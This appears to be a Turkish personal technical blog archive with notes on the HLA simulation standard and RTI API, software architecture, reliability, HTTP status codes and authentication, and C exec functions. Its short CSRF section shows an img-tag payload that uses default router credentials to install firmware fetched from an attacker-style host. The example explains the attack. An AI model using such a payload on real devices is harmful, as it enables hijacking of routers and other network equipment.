19 Nisan 2018 Perşembe

High Level Architecture - HLA

Giriş
Simülasyon dünyasında kullanılan arakatman. 1998 yılında DoD standardı haline geldi. 2000 yılında IEEE (IEEE Std 1516 veya HLA1516 olarak anılıyor) standardı haline geldi.

Ayrıca  "Stanag 4603" ile NATO standardı oldu.

Atası
HLA'nın atası Distributed Interactive Simulation (DIS)

RTI
Run Time Infrastructure anlamına gelir. Türkçesi Çalışma Zamanı Altyapısı. HLA mimarisindeki merkezi sunucudur. Servis sağlayıcı olarak düşünülebilir

Pitch RTI, MÄK RTI gibi paralı  ve Portico, OpenRTI, Open HLA gibi açık kaynak RTI gerçekleştirimleri vardır.

Federation
Bir ismi olan ve Federate'lerin (federasyonun üyesi) çalıştığı simülasyon ortamı. Federate örneğin bir platformu temsil edebilir.

Federasyonun Kurulması ve Başlaması
Federasyonu oluşturan bir federe bulunur. Her federe simülasyon açılırken bazı safhalardan geçer.
Bunlar
1. Açılma - Initialization
2. Koşma - Run
3. Bitiş - End
olabilir.
İlgili safha geçişlerini duyuran bir federe olabilir.

Servisler
Şunlar bulunur
1. Federation Management
2. Declaration Management
3. Object Management
4. Data Distribution Management
5. Ownership Management
  Attrbiute sahipliğini değiştirebilmek hakkı anlamına gelir.
6. Time Management
  2 tip mesaj sırası vardır. Reception Order FIFO gibi çalışır. TSO ise heap gibi çaılır.

Federation Object Model
Federation Object Model (FOM) federasyondaki ortak bilgi modelini temsil eder. Tanımlama niteliklerin alt/üst sınırları, aralıkları, birimleri gibi özellikleri içermez.

XML olarak şöyledir. objectClass tag'leri iç içe olabilir ve kalıtımı temsil eder.
<objectModel>
  <modelIdentification>...</modelIdentification>
  <objects>
    <objectClass>...</objectClass>
  </objects>
  <interactions>
    <interactionClass>...</interactionClass>
  </interactions>
  <dimensions>
    <dimension>...</dimension>
    ...
  </dimensions>
  <time>
    <timeStamp>...</timeStamp>
    <lookahead>...</lookahead>
  </time>
  <tags>
    <deleteRemoveTag>...</deleteRemoveTag>
  </tags>
  <synchronizations>
    <synchronizationPoint>...</synchronizationPoint>
    ...
  </synchronizations>
  <transportations>
    <transportation>...</transportation>
  </transportations>
  <switches>...</switches>
  <updateRates>
    <updateRate>...</updateRate>
  </updateRates>
  <dataTypes>
    <basicDataRepresentations>...</basicDataRepresentations>
    <simpleDataTypes>...</simpleDataTypes>
    <enumeratedDataTypes>...</enumeratedDataTypes>
    <arrayDataTypes>...</arrayDataTypes>
    <fixedRecordDataTypes>...</fixedRecordDataTypes>
    <variantRecordDataTypes>...</variantRecordDataTypes>
  </dataTypes>
  <notes>
    <note>...</note>
    ...
  </notes>
</objectModel>

Object Class
Object kalıcı veri tipini temsil eder. Her sınıfın (class) bir sahibi bulunur. Sadece sınıfı yaratan federate bu sınıfın nesnelerini (instance) yaratabilir ve silebilir. Class içinde alanlara "attribute" denilir.

Object'ler arasında kalıtım olabilir. HLAobjectRoot tüm object'lerin atasıdır.

Her alanın da sahibi vardır. Bir nesnenin farklı alanlarının farklı sahipleri olabilir. Sahiplik federasyon üyeleri arasında değişebilir. Alanı sanırım sadece sahip günceller.

Interaction Class
Anlık veri tipini temsil eder. İsmi interaction yerine event olabilirdi. Tek seferlik olayları temsil eder. Örneğin bir patlama olması interaction'dır. Interaction içindeki alanlara attribute yerine "parameter" denilir. HLAinteractionRoot tüm interaction'ların atasıdır. Interaction'da içinde zaman etiketi (time tag) bilgisi bulunur.

Performans
İlgi duyulan attribute ve DDM (İlgi gruplarına) abone olmak gerekir.

Handle
RTI tarafından verilen numara gibi düşünülebilir.

Zaman - TimeConstrained
Açıklaması şöyle.
A TimeConstrained federate cannot advance its internal time until RTI allows it. This is used for simulators that should advance time almost simulataneously
FederateAmbassador Arayüzü
timeConstrainedEnabled metodu
Örnek ver

timeRegulationEnabled metodu
Örnek ver

RtiFactoryFactory Sınıfı
getRTIFactory metodu
Şöyle yaparız.
RTIambassador rtiAmb = RtiFactoryFactory.getRtiFactory().getRtiAmbassador();
RTIambassador Arayüzü
connect metodu
Çağrı sırası şöyle. RTI'ye bağlan, federation yarat , federation'a katıl
connect () -> createFederationExecution() -> joinFederationExecution()
disableTimeConstrained metodu
Örnek ver

disableTimeRegulation metodu
Örnek ver

enableTimeConstrained metodu
Bu çağrı sonucunda FederateAmbassador.timeConstrainedEnabled () metodu RTI tarafından callback olarak tetiklenir. Örnek ver

enableTimeRegulation metodu
Bu çağrı sonucunda FederateAmbassador.timeRegulationEnabled () metodu RTI tarafından callback olarak tetiklenir. Örnek ver.

getTimeFactory metodu
Şöyle yaparız.
LogicalTime time =  rtiAmb.getTimeFactory().makeFinal();
publishInteractionClass metodu
RTI'ye yaratacağımız interaction tipi bildirilir. Aynı tip interaction'ı almak için subscribeInteractionClass() çağrısı yapılır.

publishObjectClass metodu
RTI'ye yaratıp güncelleyeceğimiz object tipi ve attribute'ları bildirilir. Aynı tip object'i almak için subscribeObjectClassAttributes() çağrısı yapılır.

Veri göndermek için sırasıyla şu çağrılar yapılır.
getObjectClassHandle () -> registerObjectInstance() -> updateAttributeValues()
registerObjectInstance metodu
Object instance silmek için deleteObjectInstance() çağrısı yapılır.

subscribeInteractionClass metodu
Alınması istenen interaction tipi belirtilir. Interaction gelince FederateAmbassador.receiveInteraction() metodu tetiklenir.


subscribeObjectClassAttributes metodu
Alınması istenen object belirtilir. Object gelince FederateAmbassador.reflectAttributeValues() metodu tetiklenir.

tick metodu
Örnek ver

timeAdvanceRequest metodu
Şöyle yaparız.
rtiAmb.timeAdvanceRequest(time);
LogicalTimeFactory Arayüzü
makeInterval metodu
Sonucu arayüz olarak almak istersek şöyle yaparız.
LogicalTimeInterval interval = timeFactory.makeInterval(1.0);
Sonucu sınıf olarak almak istersek şöyle yaparız.
HLAfloat64Interval interval = timeFactory.makeInterval(1.0);
makeTime metodu
Sonucu arayüz olarak almak istersek şöyle yaparız.
LogicalTime t = timeFactory.makeTime(3.0);
Sonucu sınıf olarak almak istersek şöyle yaparız.
HLAfloat64Time t = timeFactory.makeTime(3.0);
LogicalTimeFactoryFactory Sınıfı
getLogicalTimeFactory metodu
Şöyle yaparız.
HLAfloat64TimeFactory timeFactory = 
  (HLAfloat64TimeFactory)LogicalTimeFactoryFactory.getLogicalTimeFactory("HLAfloat64Time")



Yazılım Mimarisi

Yazılım Mimarisi Nedir ?
Yazılım Mimarisi (Software Architecture) bir sistemin paçalarını ve aralarındaki ilişkiyi gösterir. Mevcut bir yazılımın mimarisini değiştirmek zor bir iştir.

Bazı yazılım mimarileri tekrarlana tekrarlana, artık bir referans model haline gelebilir.

Bazı mimariler
-Client/Server
-Peer to Peer
-Publish Subscribe
-Pipe and Filter,
-Layered Architecture veya N-Layered Architecture
-Onion Architecture
-Hexagonal Architecture
-Package by Feature
-DCI Architecture

Publish Subscribe
Bu mimari ile Observer/Observable tasarım örüntüsü arasındaki en büyük fark, Observer örüntüsünde gözlemlenen kendisini gözleyen nesneleri bir liste halinde saklamasıdır. Gözlemlenen ve gözlenen her ne kadar bir arayüz vasıtasıyla konuşsalar da, birebir ilişki kurarlar. Publish Subscribe mimarisinde bir arakatman vasıtasıyla iletişim olduğu için, birebir ilişki yoktur.

Layered Architecture
Bu yazılım mimari benim en sık gördüğüm örnek. Kod katmanlara ayrılsa bile aralarındaki ilişkiyi anlamak gerçekten zor olabiliyor. Package by Feature ve DCI Architecture anlaşılabilirlik açısından daha iyi özellikler sunuyor.

Yazılım ve Veri
Veri (data) , yazılım yeniden inşa edilse bile halen yaşamaya devam edecek tek şey olacaktır. Bu yüzden, veri modelini dikkat etmek gerekir.

Yazılım Kalite Etmenleri (Software Quality Attributes)
Yazılım mimari, kalite etmenlerinin seçilmesine dikkat eder.
"Architects pay more attention to qualities that arise from architecture choices."
Bazı kalite etmenleri:

Reliability (Güvenilirlik)
Reliability yazısına taşıdım.
 

Reliability - Güvenilirlik

Reliability Nedir ?
Türkçesi güvenilirlik. Açıklaması şöyle
Bir bilişim sisteminin öngörülen ve beklenen davranışı ile elde edilen sonuçların tutarlı olması prensibidir.
ISTQB'nin Türkçe açıklaması şöyle
Belirli durumlar altında, belirli bir zaman aralığında veya belirli bir sayıda operasyonel iş için yazılımın beklenilen işlevselliklerini yerine getirebilme yeteneği (ISO 9126)
ISTQB'nin İngilizce açıklaması şöyle
Reliability, which is the capability of the software product to maintain a specified level of performance when used under specified conditions.
Bir başka açıklama şöyle
Reliability is usually defined as the probability or frequency of failures, when using a system in a specified environment. If over a period of time T we observe n failures, then our reliability expressed as a frequency is roughly r = n/T.
Yani sistemin belli sürede ne kadar hata verdiğinin ölçülmesidir.

ISO 9126 Quality Characteristics
Reliability başlığı altında şu maddeleri toplamış.Yani reliability ile maturity,fault tolerance,recoverability kelimeleri genellikle iç içe kullanılırlar.
1.Maturity
Örnek ver

2. Fault Tolerance
Bazen tek arıza noktası (single point of failure) reliability olmaması olarak düşünülüyor. Ancak bence güvenilirlik değil fault tolerance (arızaya dayanıklılık) olarak düşünülmeli.

Fault tolerance için kullanılabilecek yöntemlerden bir tanesi Redundancy.

3.Recoverability
Örnek ver

4. Reliability compliance
Örnek ver

5. Performans
Performance Efficieny başlığı altına düştüğü gibi Reliability başlığı ile de ilgili. Performans iyileştirmesinden dikkat edilecek en önemli madde şöyle.
"Don't optimize until you know what to optimize"
Yani önce ölçüm yap. Daha sonra iyileştir ve yine ölçüm yap anlamına geliyor.

Reliability ve Flexibility
Sistemin güvenilir olması, her koşulda çalışabilmesi demektir. Güvenilir olmak, kolay özellik ekleme çıkarma yeteneği ile genellikle ters orantılıdır. "Flexibity breeds complexity" cümlesine bu konuya değiniyor.
Reliability Kaybı
Bir sistem güvenilirliğini kaybettiğini tesbit ederse failsafe (güvenli aksama) durumuna geçerek bazı işlevlerini durdurabilir.

Reliability Örnekleri
Bunları iyi örnekler mi bilmiyorum.
- The system must be able to perform its functions for an average of 23 hours 50 mins per day.
- The system must perform adequately for up to 30 users.
- The system must allow 12,000 new customers per year.
Reliability Gereksinimleri Ayrı Yazılmaz İse Ne Olur
Reliability gereksinimleri genellikle sistemin tamamı içindir. Ancak bazen reliability gereksinimi non-functional olarak işaretlenmek ve ayrı bir bölüme yazılmak yerine, functional gereksinimler içine karışıyor. Bu durumda sanki sadece o ilgili alanı ilgilendiriyormuş gibi görünse de aslında çoğu kere sistemi ilgilendiren bir husus oluyor. Eğer zamanında tedbir alınıp bu gereksinimler functional gereksinimlerde ayrılmazsa projenin ileriki aşamalarında müşteri ile çatışmaya sebep oluyor. Sonra ayıkla pirincin taşını :)

Reliability Nasıl Ölçülür?
Reliability non-functional requirement olduğu için bir şekilde ölçülebiliyor olması gerekir.  Reliability şu şekilde ölçülemez!
R = Koşulan Test Sayısı / Crash Sayısı
Yani test sistemin beklendiği şekilde işlediğini ispatlar, fakat sistemde hiç hata olmadığını ispatlamaz!

Yani bir günlük performans testi yapılabilarak belki reliability ölçülebilir.

Cross Site Request Forgery

Giriş
Cross Site Request Forgery (CSRF) hep POST isteği ile ilgili gibi düşünülüyor. Ancak öyle olmak zorunda değil.

İnternet en başından beri cross site çalışacak şekilde tasarlandığı için bu çalışma şeklini ortadan kaldırmak mümkün değil. Bu yüzden CSRF tedbirlerini almak lazım.

img
Şöyle yapılır. Resim ile beraber farkında olmadan bir dosya daha indirilir.
<img src="http://admin:admin@192.168.0.1/updateFirmware.cgi?file=hxxp://hax.com/hax.bin&confirmUpgrade=true"/>

17 Nisan 2018 Salı

HTTP Durum Kodları

Giriş
Http Durum Kodları'nın (Http Status Codes) listesi burada.

Programlarken hata oluşması durumunda exception atarız. Ancak iletişim protokollerinde exception atamayacağımız için durum kodu döndürmek gerekir.

Security By Obscurity
Security through obscurity olarak ta bilinir. Örneğin bilinçli olarak yanlış Http Durum Kodunu dönmek bu yöntemlerden birisidir. 401 Unauthorized yerine 305 Use Proxy dönülebilir.
Informational Kodları
100 Continue
Sanırım büyük dosyaları upload ederken kullanılır.

102 Processing
Açıklaması şöyle. Sanırım uzun süren işlemlerde kullanılır.

The 102 (Processing) status code is an interim response used to

inform the client that the server has accepted the complete request,
but has not yet completed it. This status code SHOULD only be sent
when the server has a reasonable expectation that the request will
take significant time to complete. As guidance, if a method is taking longer than 20 seconds (a reasonable, but arbitrary value) to process the server SHOULD return a 102 (Processing) response. The server MUST send a final response after the request has been completed.
Methods can potentially take a long period of time to process,
especially methods that support the Depth header. In such cases the
client may time-out the connection while waiting for a response. To
prevent this the server may return a 102 (Processing) status code to
indicate to the client that the server is still processing the
method.

SUCCESS Kodları
Açıklaması şöyle.
The 2xx (Successful) class of status code indicates that the client's request was successfully received, understood, and accepted.
200 - OK
Açıklaması şöyle.
200 means the server experienced no problems and has a representation of the results for the client to consume.
Sunucudaki bir dosyaya GET isteği gönderdiğimizi varsayalım. Cevap olarak 200 ile başlayan bir satır almamız tüm dosyayı indirdiğimiz anlamına gelmez. Http isteği bir bütün olarak düşünülmeli. Açıklaması şöyle.
HTTP 200 is generated by the server, and only means that it understood the request and thinks it is able to fulfill it (e.g. the file is actually there). All sorts of errors may occur during the transmission of the full response document (network connection breaking, packet loss, etc) which will not show up in the HTTP response, but need to be detected separately.
201 Created
Açıklaması şöyle. PUT isteği ile bir resource ilk defa yaratılırsa bu cevap döner.
If the target resource does not have a current representation and the PUT successfully creates one, then the origin server MUST inform the user agent by sending a 201 (Created) response. If the target resource does have a current representation and that representation is successfully modified in accordance with the state of the enclosed representation, then the origin server MUST send either a 200 (OK) or a 204 (No Content) response to indicate successful completion of the request.
202 Accepted
İsteğin alındığını belirtir. 200'den farkı gönderilen isteğin daha sonra asenkron olarak işleneceğini ifade etmesidir.
203 - Non-Authoritative Information (since HTTP/1.1)
Açıklaması şöyle.
203 means that the response was modified between the authoritative server and the client. 
204 - No Content
Client tarafından gönderilen isteğe "No Result" gibi bir cevap vermek istersek kullanılabilir. Rest servisini normalde vereceği cevap şöyle olsun.
{
  "results": [
    {
      "name": "Pancakes",
      ....
    },
    {
      "name": "French Fries",
      ....
    }
  ]
}
Ancak dönülen cevap boş ise 204 ve şöyle bir cevap gönderilebilir.
{
  "results": []
}
205 - Reset Content
Örnek ver

206 - Partial Content
Açıklaması şöyle.
206 appears to be designed for returning a large resource over multiple responses. It also requires that the client ask for a part of the content in the headers (so pagination via query strings does not qualify).
207 Multi-Status
Açıklaması şöyle. Birden fazla işin sonucu dönüleceği zaman kullanılabilir.
A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate. The default Multi-Status response body is a text/xml or application/xml HTTP entity with a 'multistatus' root element. Further elements contain 200, 300, 400, and 500 series status codes generated during the method invocation. 100 series status codes SHOULD NOT be recorded in a 'response' XML element.
Although '207' is used as the overall response status code, the recipient needs to consult the contents of the multistatus response body for further information about the success or failure of the method execution. The response MAY be used in success, partial success and also in failure situations.

REDIRECTION Kodları
Giriş
Redirection yerine HSTS (https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) kullanılabilir. Açıklaması şöyle.
If a user try to access some random http://example.com, HSTS will transform the request into https://example.com, however the website need to have a valid certificate in order to function properly.
301 Moved Permanently
Örnek ver

302 Redirect
302 ile tarayıcıyı başka sayfaya yönlendirebilmek mümkün. 302 kodu ile beraber yönlendirilen URL bilgisini de göndermek gerekir. 302 cevabı şöyledir.
$ curl -I https://google.net/
HTTP/1.1 302 Found
Location: https://www.google.com/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
...
Wicket ile 302 göndermek için exception atılıyor. Örneğin RestartResponseException veya RedirectToUrlException ile bu gerçekleştirilebiliyor.

Eğer orijinal sayfaya tekrar dönülmesi gerekiyorsa RestartResponseAtInterceptPageException  kullanılıyor.

CLIENT ERROR Kodları
400 Bad Request
Açıklaması şöyle.
Your browser sent a request that this server could not understand.
401 Not Authorized
Sunucu bu cevabı gönderirse erişilmek istenen kaynağa yetkimiz olmadığını belirtir. Eğer cevabın içine WWW Authenticate Header eklenirse
WWW-Authenticate: Basic realm="insert realm"
HTTP Basic Authentication yapılabilir.

HTTP Basic Authentication Nedir?

  1. Basic Authentication için Http Request Header alanında Authorization alanı dolu olmalıdır.
  2. Bu alan "kullanıcı : şifre" formatında Base64 olarak doldurulmalıdır.

Kodla Basic Authentication Yapmak:
C#'taki WebRequest sınıfı, Credentials alanı doldurulsa bile Http Request Header'daki Authentication alanını göndermiyor. RCF 2617'ye uygun olarak

  1. Önce istekte bulunuyor. 
  2. Sunuc 401 ile cevap veriyor.
  3. Sonra Authorization alanını doldurarak tekrar istekte bulunuyor.

Örnek'te  C#'ta bu gitgellerin olmaması için direkt Authorization alanını doldurmak gösterilmiş.

void SetBasicAuthHeader(WebRequest req, String userName, String userPassword)
{
    string authInfo = userName + ":" + userPassword;
    authInfo = Convert.ToBase64String(Encoding.Default.GetBytes(authInfo));
    req.Headers["Authorization"] = "Basic " + authInfo;
}

Browser ile Basic Authentication Yapmak:
Eğer browser kullanıyorsak HTTP Basic Authentication'da browser bir login popup penceresi çıkarır. İstemci kullanıcı adı ve şifresini istek ile gönderir. Bilgiler request header ile gönderilir. Sunucu Login veya session başlatmaz. Bu yöntemin bir dezavantajı tarayıcının kullanıcı adı ve şifresini sürekli hatırlamasıdır. Yani klasik log-out imkanı bulunmaması.

HTTP Basic Authentication'da kullanıcı adı ve şifre her istekte gönderilir. Digest Authentication da kullanıcı adı ve şifre her istekte gönderilmez.

Basic Authentication genellikle Rest mimarisinde ve HTTPS ile kullanılırsa güvenli olur. Alternatif olarak bir identity provider kullanılabilir. (örneğin Facebook). Bu tür Single Sign On işlemleri için OAuth gibi protokoller kullanılır. OAuth2 ile http isteği şöyle görünüyor.
GET /resource HTTP/1.1
Host: server.example.com
Authorization: Bearer mF_9.B5f-4.1JqM

OAuth2 Nedir
OAuth 2.0 ile ilgili bilgiler buradan okunabilir. Client Identifier sunucuya bağlanmaya çalışan uygulamanın kimlik bilgisidir. Client Identifier + Client şifresi ile sunucu hangi uygulamanın bağlandığını anlar.
The authorization server issues the registered client a client identifier -- a unique string representing the registration information provided by the client. The client identifier is not a secret; it is exposed to the resource owner and MUST NOT be used alone for client authentication. The client identifier is unique to the authorization server.

HTTP Digest Authentication Nedir?
Digest Authentication da kullanıcı adı, şifre ve diğer başka bilgiler MD5 ile gönderilir.


404 Not Found
Bulunamayan sayfalar için bu hata kodu döndürülüyor. Wicket ile 404 göndermek için AbortWithHttpErrorCodeException exception atılıyor.

409 Conflict
Açıklaması şöyle.
The 409 (Conflict) status code indicates that the request could not be completed due to a conflict with the current state of the target resource. This code is used in situations where the user might be able to resolve the conflict and resubmit the request. The server SHOULD generate a payload that includes enough information for a user to recognize the source of the conflict.
Sistemin mevcut durumu istek ile çelişiyorsa gönderilir. Çıktı olarak şunu alırız.
409  Conflict

your proposed change has been declined because ${REASON}.  
The following resolution protocols are available: ${LINKS[@]})
413 Request Entity Too Large
Sunucudan çok fazla veri istenirse kullanılabilir. Örneğin 50 bin satır birden istenirse bu hata kodu döndürülebilir.

415 Unsupported Media Type
Konu ile ilgili örnek lazım

SERVER ERROR Kodları
Açıklaması şöyle.
The 5xx (Server Error) class of status code indicates that the server is aware that it has erred
500 Internal Server Error
Sunucuda hata olursa bu hata kodu dönülüyor. Mesela isteği işleyen kodda bir exception olursa.
Çıktı olarak şunu alırız
HTTP/1.1 500 Internal Server Error

501 Unimplemented
Konu ile ilgili örnek lazım. Web sunucusu, Http isteğini bilmediğini belirtir.

502 Bad Gateway
Bağlantı kurduğumuz sunucu, bir gateway. İsteği yönlendirdiği sunucuda bir problem olduğunu gösteriyor.

503 Service Unavailable
Bakıma (Maintenance) giren sunucularda verilir.

504 GATEWAY TIMEOUT
Açıklaması şöyle
The server, while acting as a gateway or proxy, did not receive a timely response from an upstream server it needed to access in order to complete the request.


16 Nisan 2018 Pazartesi

execv metodu

Giriş
execv ailesini çağırırken dikkat edilmesi gereken nokta, argv parametrelerinin sonuncusunun NULL'a eşitlenmesi. Böylece shell parametre listesinin nerede bittiğini anlayabiliyor.

Örnek
myprog uygulamaasını sıfır argc ile çağırmak için şöyle yaparız.
char *args[] = { NULL };
execv("./myprog", args);

execl metodu - variable argument list

Giriş
Şu satırı dahil ederiz.
#include <unistd.h> 
İmzası şöyle.
int execl(const char *path, const char *arg, ...); 
execv'den farkı argv parametrelerinin teker teker geçilmesi. Son parametre yine aynı şekilde NULL olmak zorunda.

Örnek
Şöyle yaparız
execl("/bin/sh", "sh", "-c", the_command_line, NULL);
Örnek
myprog'a 0 argc geçmek için şöyle yaparız.
execl("./myprog", NULL, (char *)NULL);